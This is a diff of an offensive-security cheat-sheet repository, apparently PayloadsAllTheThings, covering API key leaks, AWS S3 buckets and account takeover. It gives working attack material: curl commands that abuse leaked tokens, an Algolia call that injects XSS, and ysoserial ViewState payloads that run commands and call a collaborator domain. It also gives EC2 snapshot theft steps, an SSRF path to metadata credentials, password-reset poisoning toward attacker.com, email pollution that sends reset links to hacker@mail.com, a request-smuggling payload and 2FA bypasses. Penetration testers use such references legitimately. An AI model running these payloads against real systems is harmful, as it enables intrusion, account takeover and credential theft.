e6f94af721 | ||
|
|
742e3204d3 | ||
|
|
5455c30ec7 | ||
|
|
2b1900e046 | ||
|
|
3ca07aeb7a | ||
|
|
2a4c4f46b2 | ||
|
|
0625e2aebf | ||
|
|
c6824e7aa9 | ||
|
|
da3bdc5f61 | ||
|
|
72c54b5c1b | ||
|
|
bb305d0183 | ||
|
|
7b6c8d46aa | ||
|
|
6c161f26b2 | ||
|
|
e0220d1f17 | ||
|
|
3fd0791c2a | ||
|
|
8dffb59ac5 | ||
|
|
4a176615fe | ||
|
|
b6697d8595 | ||
|
|
9a8b2fee8e | ||
|
|
66c9d945b7 | ||
|
|
bd449e9cea | ||
|
|
9b96c7692f | ||
|
|
a331d87ffe | ||
|
|
6baa446144 | ||
|
|
98124178db | ||
|
|
657823a353 | ||
|
|
f6c0f226af | ||
|
|
859695e2be | ||
|
|
a14b3af934 | ||
|
|
0b9d76eb8e | ||
|
|
45af613fd9 | ||
|
|
3cce80cd53 | ||
|
|
382bd9acec | ||
|
|
ca331acba8 | ||
|
|
dab064a583 | ||
|
|
504caa3b50 | ||
|
|
bdef021a6d | ||
|
|
05054af343 | ||
|
|
6cecb8fa7a |
5
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
# These are supported funding model platforms
|
||||
|
||||
github: swisskyrepo
|
||||
ko_fi: swissky # Replace with a single Ko-fi username
|
||||
custom: https://www.buymeacoffee.com/swissky
|
||||
BIN
.github/banner.png
vendored
Normal file
|
After Width: | Height: | Size: 810 KiB |
2519
.github/hopla_config.json
vendored
Normal file
3571
API Key Leaks/Files/MachineKeys.txt
Normal file
224
API Key Leaks/README.md
Normal file
@@ -0,0 +1,224 @@
|
||||
# API Key Leaks
|
||||
|
||||
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Exploit](#exploit)
|
||||
- [Google Maps](#google-maps)
|
||||
- [Algolia](#algolia)
|
||||
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
|
||||
- [Slack API Token](#slack-api-token)
|
||||
- [Facebook Access Token](#facebook-access-token)
|
||||
- [Github client id and client secret](#github-client-id-and-client-secret)
|
||||
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
|
||||
- [Twitter API Secret](#twitter-api-secret)
|
||||
- [Twitter Bearer Token](#twitter-bearer-token)
|
||||
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
|
||||
- [HockeyApp API Token](#hockeyapp-api-token)
|
||||
- [IIS Machine Keys](#iis-machine-keys)
|
||||
- [Mapbox API Token](#Mapbox-API-Token)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
|
||||
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
|
||||
- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog)
|
||||
```ps1
|
||||
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
|
||||
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
|
||||
trufflehog git https://github.com/trufflesecurity/trufflehog.git
|
||||
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
|
||||
|
||||
### Google Maps
|
||||
|
||||
Use : https://github.com/ozguralp/gmapsapiscanner/
|
||||
|
||||
Usage:
|
||||
| Name | Endpoint |
|
||||
| --- | --- |
|
||||
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
|
||||
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
|
||||
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
|
||||
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
|
||||
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
|
||||
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
|
||||
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
|
||||
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
|
||||
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
|
||||
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
|
||||
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
|
||||
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
|
||||
|
||||
|
||||
Impact:
|
||||
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
|
||||
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
|
||||
|
||||
### Algolia
|
||||
|
||||
```powershell
|
||||
curl --request PUT \
|
||||
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
|
||||
--header 'content-type: application/json' \
|
||||
--header 'x-algolia-api-key: <example-key>' \
|
||||
--header 'x-algolia-application-id: <example-application-id>' \
|
||||
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
|
||||
```
|
||||
|
||||
### Slack API Token
|
||||
|
||||
```powershell
|
||||
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
|
||||
```
|
||||
|
||||
### Facebook Access Token
|
||||
|
||||
```powershell
|
||||
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
|
||||
```
|
||||
|
||||
### Github client id and client secret
|
||||
|
||||
```powershell
|
||||
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
|
||||
```
|
||||
|
||||
### Twilio Account_sid and Auth token
|
||||
|
||||
```powershell
|
||||
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
|
||||
```
|
||||
|
||||
### Twitter API Secret
|
||||
|
||||
```powershell
|
||||
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
|
||||
```
|
||||
|
||||
### Twitter Bearer Token
|
||||
|
||||
```powershell
|
||||
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
|
||||
```
|
||||
|
||||
### Gitlab Personal Access Token
|
||||
|
||||
```powershell
|
||||
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
|
||||
```
|
||||
|
||||
|
||||
### HockeyApp API Token
|
||||
|
||||
```powershell
|
||||
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
|
||||
```
|
||||
|
||||
|
||||
### IIS Machine Keys
|
||||
|
||||
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||
|
||||
Requirements
|
||||
* machineKey **validationKey** and **decryptionKey**
|
||||
* __VIEWSTATEGENERATOR cookies
|
||||
* __VIEWSTATE cookies
|
||||
|
||||
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||
```
|
||||
|
||||
Common locations of **web.config** / **machine.config**
|
||||
* 32-bit
|
||||
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
|
||||
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
|
||||
* 64-bit
|
||||
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
|
||||
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
|
||||
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
|
||||
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
|
||||
|
||||
|
||||
#### Identify known machine key
|
||||
|
||||
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
|
||||
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
|
||||
|
||||
```powershell
|
||||
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
|
||||
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
|
||||
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||
[+] ViewState is not encrypted
|
||||
[+] Signature algorithm: SHA1
|
||||
|
||||
# --encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
# --modifier : __VIEWSTATEGENERATOR parameter value
|
||||
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
|
||||
```
|
||||
|
||||
#### Decode ViewState
|
||||
|
||||
```powershell
|
||||
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||
|
||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
|
||||
|
||||
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||
```
|
||||
|
||||
|
||||
#### Generate ViewState for RCE
|
||||
|
||||
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
|
||||
|
||||
```powershell
|
||||
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
|
||||
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||
|
||||
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
|
||||
```
|
||||
|
||||
|
||||
#### Edit cookies with the machine key
|
||||
|
||||
If you have the machineKey but the viewstate is disabled.
|
||||
|
||||
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
||||
|
||||
```powershell
|
||||
# decrypt cookie
|
||||
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||
|
||||
# encrypt cookie (edit Decrypted.txt)
|
||||
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||
```
|
||||
|
||||
### Mapbox API Token
|
||||
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
|
||||
```
|
||||
#Check token validity
|
||||
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
||||
|
||||
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
|
||||
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
||||
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
||||
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
|
||||
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
||||
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [AWS Configuration](#aws-configuration)
|
||||
- [Open Bucket](#open-bucket)
|
||||
- [Basic tests](#basic-tests)
|
||||
@@ -13,35 +12,6 @@
|
||||
- [AWS - Extract Backup](#aws---extract-backup)
|
||||
- [Bucket juicy data](#bucket-juicy-data)
|
||||
|
||||
## Tools
|
||||
|
||||
- [Pacu - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments](https://github.com/RhinoSecurityLabs/pacu)
|
||||
- [Bucket Finder - Search for readable buckets and list all the files in them](https://digi.ninja/)
|
||||
```powershell
|
||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
||||
./bucket_finder.rb my_words
|
||||
./bucket_finder.rb --region ie my_words
|
||||
US Standard = http://s3.amazonaws.com
|
||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
||||
Northern California = http://s3-us-west-1.amazonaws.com
|
||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
||||
|
||||
./bucket_finder.rb --download --region ie my_words
|
||||
./bucket_finder.rb --log-file bucket.out my_words
|
||||
```
|
||||
- [Boto3 - Amazon Web Services (AWS) SDK for Python](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html)
|
||||
```python
|
||||
import boto3
|
||||
# Create an S3 client
|
||||
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
|
||||
|
||||
try:
|
||||
result = s3.list_buckets()
|
||||
print(result)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
```
|
||||
|
||||
## AWS Configuration
|
||||
|
||||
@@ -82,6 +52,7 @@ By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_na
|
||||
http://s3.amazonaws.com/[bucket_name]/
|
||||
http://[bucket_name].s3.amazonaws.com/
|
||||
http://flaws.cloud.s3.amazonaws.com/
|
||||
https://buckets.grayhatwarfare.com/
|
||||
```
|
||||
|
||||
Their names are also listed if the listing is enabled.
|
||||
@@ -105,7 +76,7 @@ eg: http://redacted/avatar/123%C0
|
||||
|
||||
```bash
|
||||
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
|
||||
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
||||
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
||||
```
|
||||
|
||||
You can get the region with a dig and nslookup
|
||||
@@ -152,22 +123,24 @@ aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWr
|
||||
## AWS - Extract Backup
|
||||
|
||||
```powershell
|
||||
aws --profile flaws sts get-caller-identity
|
||||
$ aws --profile flaws sts get-caller-identity
|
||||
"Account": "XXXX26262029",
|
||||
|
||||
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
||||
|
||||
$ aws --profile profile_name ec2 describe-snapshots
|
||||
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
||||
"SnapshotId": "snap-XXXX342abd1bdcb89",
|
||||
|
||||
Create a volume using snapshot
|
||||
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
||||
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
||||
In Aws Console -> EC2 -> New Ubuntu
|
||||
chmod 400 YOUR_KEY.pem
|
||||
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
||||
$ chmod 400 YOUR_KEY.pem
|
||||
$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
||||
|
||||
Mount the volume
|
||||
lsblk
|
||||
sudo file -s /dev/xvda1
|
||||
sudo mount /dev/xvda1 /mnt
|
||||
$ lsblk
|
||||
$ sudo file -s /dev/xvda1
|
||||
$ sudo mount /dev/xvda1 /mnt
|
||||
```
|
||||
|
||||
## Bucket juicy data
|
||||
@@ -183,34 +156,6 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
|
||||
|
||||
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
|
||||
|
||||
|
||||
## Enumerate IAM permissions
|
||||
|
||||
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
|
||||
|
||||
```powershell
|
||||
git clone git@github.com:andresriancho/enumerate-iam.git
|
||||
cd enumerate-iam/
|
||||
pip install -r requirements.txt
|
||||
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
|
||||
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
|
||||
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
|
||||
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
|
||||
"RoleDetailList": [
|
||||
{
|
||||
"Tags": [],
|
||||
"AssumeRolePolicyDocument": {
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
...
|
||||
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
|
||||
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
|
||||
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
|
||||
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
|
||||
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
|
||||
@@ -220,3 +165,4 @@ pip install -r requirements.txt
|
||||
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
|
||||
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
|
||||
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
|
||||
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)
|
||||
|
||||
264
Account Takeover/README.md
Normal file
@@ -0,0 +1,264 @@
|
||||
# Account Takeover
|
||||
|
||||
## Summary
|
||||
|
||||
* [Password Reset Feature](#password-reset-feature)
|
||||
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
|
||||
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
|
||||
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter)
|
||||
* [IDOR on API Parameters](#idor-on-api-parameters)
|
||||
* [Weak Password Reset Token](#weak-password-reset-token)
|
||||
* [Leaking Password Reset Token](#leaking-password-reset-token)
|
||||
* [Password Reset Via Username Collision](#password-reset-via-username-collision)
|
||||
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
|
||||
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
|
||||
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
|
||||
* [Account Takeover via CSRF](#account-takeover-via-csrf)
|
||||
* [2FA Bypasses](#2fa-bypasses)
|
||||
* [Response Manipulation](#reponse-manipulation)
|
||||
* [Status Code Manipulation](#status-code-manipulation)
|
||||
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
|
||||
* [JS File Analysis](#js-file-analysis)
|
||||
* [2FA Code Reusability](#2fa-code-reusability)
|
||||
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
|
||||
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
|
||||
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
|
||||
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
|
||||
* [Backup Code Abuse](#backup-code-abuse)
|
||||
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
|
||||
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
|
||||
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
|
||||
* [Bypass 2FA with array](#bypass-2fa-with-array)
|
||||
* [References](#references)
|
||||
|
||||
## Password Reset Feature
|
||||
|
||||
### Password Reset Token Leak Via Referrer
|
||||
|
||||
1. Request password reset to your email address
|
||||
2. Click on the password reset link
|
||||
3. Don't change password
|
||||
4. Click any 3rd party websites(eg: Facebook, twitter)
|
||||
5. Intercept the request in Burp Suite proxy
|
||||
6. Check if the referer header is leaking password reset token.
|
||||
|
||||
### Account Takeover Through Password Reset Poisoning
|
||||
|
||||
1. Intercept the password reset request in Burp Suite
|
||||
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Forward the request with the modified header
|
||||
```http
|
||||
POST https://example.com/reset.php HTTP/1.1
|
||||
Accept: */*
|
||||
Content-Type: application/json
|
||||
Host: attacker.com
|
||||
```
|
||||
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
|
||||
### Password Reset Via Email Parameter
|
||||
|
||||
```powershell
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
||||
# array of emails
|
||||
{"email":["victim@mail.com","hacker@mail.com"]}
|
||||
|
||||
# carbon copy
|
||||
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
||||
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
||||
|
||||
# separator
|
||||
email=victim@mail.com,hacker@mail.com
|
||||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
|
||||
### IDOR on API Parameters
|
||||
|
||||
1. Attacker have to login with their account and go to the **Change password** feature.
|
||||
2. Start the Burp Suite and Intercept the request
|
||||
3. Send it to the repeater tab and edit the parameters : User ID/email
|
||||
```powershell
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.com","password":"securepwd"})
|
||||
```
|
||||
|
||||
### Weak Password Reset Token
|
||||
|
||||
The password reset token should be randomly generated and unique every time.
|
||||
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
|
||||
|
||||
* Timestamp
|
||||
* UserID
|
||||
* Email of User
|
||||
* Firstname and Lastname
|
||||
* Date of Birth
|
||||
* Cryptography
|
||||
* Number only
|
||||
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
|
||||
* Token reuse
|
||||
* Token expiration date
|
||||
|
||||
### Leaking Password Reset Token
|
||||
|
||||
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
|
||||
2. Inspect the server response and check for `resetToken`
|
||||
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision
|
||||
|
||||
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
|
||||
2. Request a password reset with your malicious username.
|
||||
3. Use the token sent to your email and reset the victim password.
|
||||
4. Connect to the victim account with the new password.
|
||||
|
||||
The platform CTFd was vulnerable to this attack.
|
||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
|
||||
### Account takeover due to unicode normalization issue
|
||||
|
||||
- Victim account: `demo@gmail.com`
|
||||
- Attacker account: `demⓞ@gmail.com`
|
||||
|
||||
|
||||
## Account Takeover Via Cross Site Scripting
|
||||
|
||||
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
|
||||
2. Leak the current **sessions cookie**
|
||||
3. Authenticate as the user using the cookie
|
||||
|
||||
## Account Takeover Via HTTP Request Smuggling
|
||||
|
||||
Refer to **HTTP Request Smuggling** vulnerability page.
|
||||
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
|
||||
```powershell
|
||||
git clone https://github.com/defparam/smuggler.git
|
||||
cd smuggler
|
||||
python3 smuggler.py -h
|
||||
```
|
||||
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
|
||||
```powershell
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X:
|
||||
```
|
||||
3. Final request could look like the following
|
||||
```powershell
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
Host: something.com
|
||||
User-Agent: Smuggler/v1.0
|
||||
Content-Length: 83
|
||||
|
||||
0
|
||||
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
|
||||
Hackerone reports exploiting this bug
|
||||
* https://hackerone.com/reports/737140
|
||||
* https://hackerone.com/reports/771666
|
||||
|
||||
## Account Takeover via CSRF
|
||||
|
||||
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
|
||||
2. Send the payload
|
||||
|
||||
## Account Takeover via JWT
|
||||
|
||||
JSON Web Token might be used to authenticate an user.
|
||||
|
||||
* Edit the JWT with another User ID / Email
|
||||
* Check for weak JWT signature
|
||||
|
||||
## 2FA Bypasses
|
||||
|
||||
### Response Manipulation
|
||||
|
||||
In response if `"success":false`
|
||||
Change it to `"success":true`
|
||||
|
||||
### Status Code Manipulation
|
||||
|
||||
If Status Code is **4xx**
|
||||
Try to change it to **200 OK** and see if it bypass restrictions
|
||||
|
||||
### 2FA Code Leakage in Response
|
||||
|
||||
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
|
||||
|
||||
### JS File Analysis
|
||||
|
||||
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
|
||||
|
||||
### 2FA Code Reusability
|
||||
|
||||
Same code can be reused
|
||||
|
||||
### Lack of Brute-Force Protection
